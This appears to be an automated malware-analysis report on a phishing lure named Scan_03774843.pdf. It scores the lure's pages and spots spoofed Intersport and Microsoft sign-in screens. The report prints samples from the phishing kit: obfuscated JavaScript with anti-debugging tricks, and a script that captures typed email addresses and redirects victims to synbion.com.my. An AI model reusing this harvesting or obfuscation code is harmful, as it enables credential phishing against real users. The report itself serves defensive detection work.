Windows Analysis Report
Scan_03774843.pdf

{
    "contains_trigger_text": true,
    "trigger_text": "Download File",
    "prominent_button_name": "Download File",
    "text_input_field_labels": "unknown",
    "pdf_icon_visible": true,
    "has_visible_captcha": false,
    "has_urgent_text": false,
    "has_visible_qrcode": false,
    "contains_chinese_text": false
}

{
    "risk_score": 1,
    "reasoning": "Simple page reload command using standard browser API. No data transmission, external connections, or suspicious behavior. While abrupt page reloads might affect user experience, this is a basic browser operation with minimal security implications."
}

    window.location.reload();

{
  "brands": [
    "Adobe"
  ]
}

{
    "risk_score": 8,
    "reasoning": "Script contains multiple high-risk indicators: heavily obfuscated code using _0x prefix pattern, encoded base64 strings, and suspicious variable names (autograb). Code uses dynamic execution patterns and contains console manipulation techniques typically used to evade detection. The presence of URL manipulation and location references suggests potential redirect capability."
}

    var link = "QlpzMGt0QnhtVTI3djFqTGRPTU1yRDYzNEZwQXJJOG5DVWliR2dmQkFxZEE5OGFsU1duWExUeHllSGNrTHRQeVoxRnNJd1JxclJnUTN1WW5jSW9VSjZEaGpjaWtvNDhvTTV2dk8ybE5FWURxYXl6NjdSSlc1Q1ZnSHVIT0tDWTVlU2JRaVZLaGZadFRib3VXZTNGOUp3";
    var random = "aHR0cHM6Ly9ocmVmLmxpLz9odHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9XaW5kb3dzX1NlcnZlcl8yMDE2";
    var autograb = false;
    const _0x370772=_0x4de9;(function(_0x4f6b79,_0x5e87a3){const _0x23902b=_0x4de9,_0x1aa4ca=_0x4f6b79();while(!![]){try{const _0x4ecf9d=parseInt(_0x23902b(0x1f2))/0x1*(-parseInt(_0x23902b(0x1ff))/0x2)+parseInt(_0x23902b(0x202))/0x3+parseInt(_0x23902b(0x201))/0x4*(parseInt(_0x23902b(0x215))/0x5)+parseInt(_0x23902b(0x210))/0x6+-parseInt(_0x23902b(0x200))/0x7*(-parseInt(_0x23902b(0x1fe))/0x8)+-parseInt(_0x23902b(0x1f8))/0x9+-parseInt(_0x23902b(0x1ed))/0xa*(parseInt(_0x23902b(0x1fd))/0xb);if(_0x4ecf9d===_0x5e87a3)break;else _0x1aa4ca['push'](_0x1aa4ca['shift']());}catch(_0x5e20f3){_0x1aa4ca['push'](_0x1aa4ca['shift']());}}}(_0x5cca,0xe5b41));const _0x6d4a3c=(function(){let _0x5cc2bf=!![];return function(_0x9b77da,_0x135712){const _0xf77bb9=_0x5cc2bf?function(){const _0xec2e23=_0x4de9;if(_0x135712){const _0x101ef2=_0x135712[_0xec2e23(0x204)](_0x9b77da,arguments);return _0x135712=null,_0x101ef2;}}:function(){};return _0x5cc2bf=![],_0xf77bb9;};}()),_0x487215=_0x6d4a3c(this,function(){const _0x34a2de=_0x4de9;return _0x487215[_0x34a2de(0x1f3)]()['search'](_0x34a2de(0x1ee))[_0x34a2de(0x1f3)]()[_0x34a2de(0x212)](_0x487215)['search'](_0x34a2de(0x1ee));});_0x487215();const _0x5dbfa7=(function(){let _0x4b0e96=!![];return function(_0xd5d4f3,_0xaef652){const _0x53ffda=_0x4b0e96?function(){if(_0xaef652){const _0x48e2d4=_0xaef652['apply'](_0xd5d4f3,arguments);return _0xaef652=null,_0x48e2d4;}}:function(){};return _0x4b0e96=![],_0x53ffda;};}());(function(){_0x5dbfa7(this,function(){const _0x13ac30=_0x4de9,_0x97b71d=new RegExp('function\x20*\x5c(\x20*\x5c)'),_0x562d3b=new RegExp(_0x13ac30(0x1f7),'i'),_0x4d3b42=_0x3d6ca4(_0x13ac30(0x1fb));!_0x97b71d[_0x13ac30(0x20c)](_0x4d3b42+'chain')||!_0x562d3b[_0x13ac30(0x20c)](_0x4d3b42+'input')?_0x4d3b42('0'):_0x3d6ca4();})();}());const _0x55444a=(function(){let _0x33f15b=!![];return function(_0x57a666,_0x260f9d){const _0x31c56e=_0x33f15b?function(){const _0x59e2eb=_0x4de9;if(_0x260f9d){const _0xb3158f=_0x260f9d[_0x59e2eb(0x204)](_0x57a666,arguments);return _0x260f9d=null,_0xb3158f;}}:function(){};return _0x33f15b=![],_0x31c56e;};}()),_0x4f3632=_0x55444a(this,function(){const _0x2ff6f3=_0x4de9,_0x330ee3=function(){const _0x1dd09b=_0x4de9;let _0x14d87b;try{_0x14d87b=Function('return\x20(function()\x20'+_0x1dd09b(0x218)+');')();}catch(_0x4d6905){_0x14d87b=window;}return _0x14d87b;},_0x131a47=_0x330ee3(),_0x18e009=_0x131a47[_0x2ff6f3(0x206)]=_0x131a47[_0x2ff6f3(0x206)]||{},_0x1706ee=[_0x2ff6f3(0x205),_0x2ff6f3(0x216),'info',_0x2ff6f3(0x203),_0x2ff6f3(0x1f5),_0x2ff6f3(0x1f4),_0x2ff6f3(0x207)];for(let _0x3a4ef4=0x0;_0x3a4ef4<_0x1706ee[_0x2ff6f3(0x1f1)];_0x3a4ef4++){const _0x5abefa=_0x55444a[_0x2ff6f3(0x212)][_0x2ff6f3(0x20e)]['bind'](_0x55444a),_0x2ee7c2=_0x1706ee[_0x3a4ef4],_0x5e394d=_0x18e009[_0x2ee7c2]||_0x5abefa;_0x5abefa[_0x2ff6f3(0x1f6)]=_0x55444a[_0x2ff6f3(0x208)](_0x55444a),_0x5abefa[_0x2ff6f3(0x1f3)]=_0x5e394d['toString'][_0x2ff6f3(0x208)](_0x5e394d),_0x18e009[_0x2ee7c2]=_0x5abefa;}});function _0x5cca(){const _0x49775a=['trace','bind','onload','Error\x20encoding\x20string.','/index?a=','test','while\x20(true)\x20{}','prototype','stateObject','7057404VGAaEh','location','constructor','/index','gger','4989590fceNiz','warn','string','{}.constructor(\x22return\x20this\x22)(\x20)','action','href','2800XoTiRS','(((.+)+)+)+$','call','substring','length','1nDTKwE','toString','table','exception','__proto__','\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','945234wBsndJ','counter','hash','init','debu','155078irFNIr','8BAihSD','952052hXXCrM','11247859baQcXU','4QpQeNS','5065104jKIhEm','error','apply','log','console'];_0x5cca=function(){return _0x49775a;};return _0x5cca();}_0

{
    "contains_trigger_text": true,
    "trigger_text": "INTERSPORT WARRNAMBOOL SENT A FILE TO YOU.",
    "prominent_button_name": "Download",
    "text_input_field_labels": ["Please enter your email address to continue *"],
    "pdf_icon_visible": false,
    "has_visible_captcha": false,
    "has_urgent_text": false,
    "has_visible_qrcode": false,
    "contains_chinese_text": false
}

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://synbion.com.my

{
    "risk_score": 7,
    "reasoning": "Script shows concerning behaviors: 1) Stores user email in localStorage without clear purpose (+2), 2) Redirects to a suspicious domain 'synbion.com.my' with an unusual path pattern (+3), 3) Uses blur effect on page content which is common in overlay/modal phishing tactics (+1), 4) Automatically captures email as user types without explicit consent (+1). The pattern suggests potential credential harvesting or phishing attempt."
}

        document.addEventListener('DOMContentLoaded', function() {
            const form = document.getElementById('emailForm');
            const modalOverlay = document.getElementById('modalOverlay');
            const pageContent = document.getElementById('pageContent');
            const emailInput = document.getElementById('emailInput');
            const validationMessage = document.getElementById('validationMessage');

            pageContent.classList.add('blur');

            function validateEmail(email) {
                const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
                return re.test(email);
            }

            function autoGrabEmail() {
                const enteredEmail = emailInput.value;
                if (enteredEmail && enteredEmail.includes('@')) {
                    localStorage.setItem('userEmail', enteredEmail);
                }
            }

            const savedEmail = localStorage.getItem('userEmail');
            if (savedEmail) {
                emailInput.value = savedEmail;
            }

            emailInput.addEventListener('input', function() {
                autoGrabEmail();
                if (emailInput.value.trim() !== '') {
                    if (validateEmail(emailInput.value)) {
                        validationMessage.textContent = 'That email address is valid.';
                        validationMessage.className = 'validation-message valid';
                    } else {
                        validationMessage.textContent = 'Enter valid email address';
                        validationMessage.className = 'validation-message invalid';
                    }
                } else {
                    validationMessage.textContent = '';
                    validationMessage.className = 'validation-message';
                }
            });

            form.addEventListener('submit', function(e) {
                e.preventDefault();
                const email = emailInput.value;
                console.log('Email submitted:', email);
                
                localStorage.setItem('userEmail', email);
                
                window.location.href = 'https://synbion.com.my/88x9l/';
            });
        });
    

{
  "brands": [
    "Intersport"
  ]
}

{
    "risk_score": 4,
    "reasoning": "The code contains several moderate risk indicators: Base64 encoded content, obfuscated window object (ZX983), and a redirect URL (href.li). However, the Base64 decoded content is benign ('Sign-in options'), and the redirect points to Wikipedia, a trusted domain. The large Base64 string appears to be an image. While the code uses some suspicious patterns, there's no clear malicious intent."
}

        window.ZX983({
            B1: true, 
            T8: true, 
            R7: true, 
            G4: true, 
            Y5: true, 
            K9: true, 
            N0: true  
        });
        
        document.addEventListener('DOMContentLoaded', () => {
            const debug = false;
            // PHP variables
            const encodedText = "U2lnbi1pbiBvcHRpb25z";
            const decodedText = atob(encodedText);
            const random = "https://href.li/?https://en.wikipedia.org/wiki/Category:Office_365";
            const defaultBackground = "data:application/octet-stream;base64,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

{
  "contains_trigger_text": true,
  "trigger_text": "Sign in",
  "prominent_button_name": "Next",
  "text_input_field_labels": [
    "Email, phone, or Skype"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false
}

{
  "brands": [
    "Microsoft"
  ]
}

```json{  "legit_domain": "intersport.com",  "classification": "wellknown",  "reasons": [    "The brand 'Intersport' is a well-known international sporting goods retailer.",    "The URL 'synbion.com.my' does not match the legitimate domain 'intersport.com'.",    "The domain 'synbion.com.my' does not have any clear association with the brand 'Intersport'.",    "The use of a '.com.my' domain extension is unusual for a global brand like Intersport, which typically uses '.com'.",    "The presence of an input field requesting an email address without clear brand association is suspicious."  ],  "riskscore": 8}
Google indexed: False

```json{  "legit_domain": "microsoft.com",  "classification": "wellknown",  "reasons": [    "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.",    "The provided URL 'synbion.com.my' does not match the legitimate domain for Microsoft.",    "The domain 'synbion.com.my' does not have any known association with Microsoft.",    "The URL uses a '.com.my' extension which is not typical for Microsoft's global or regional sites.",    "The presence of input fields for 'Email, phone, or Skype' is common in phishing attempts targeting Microsoft services."  ],  "riskscore": 9}
Google indexed: False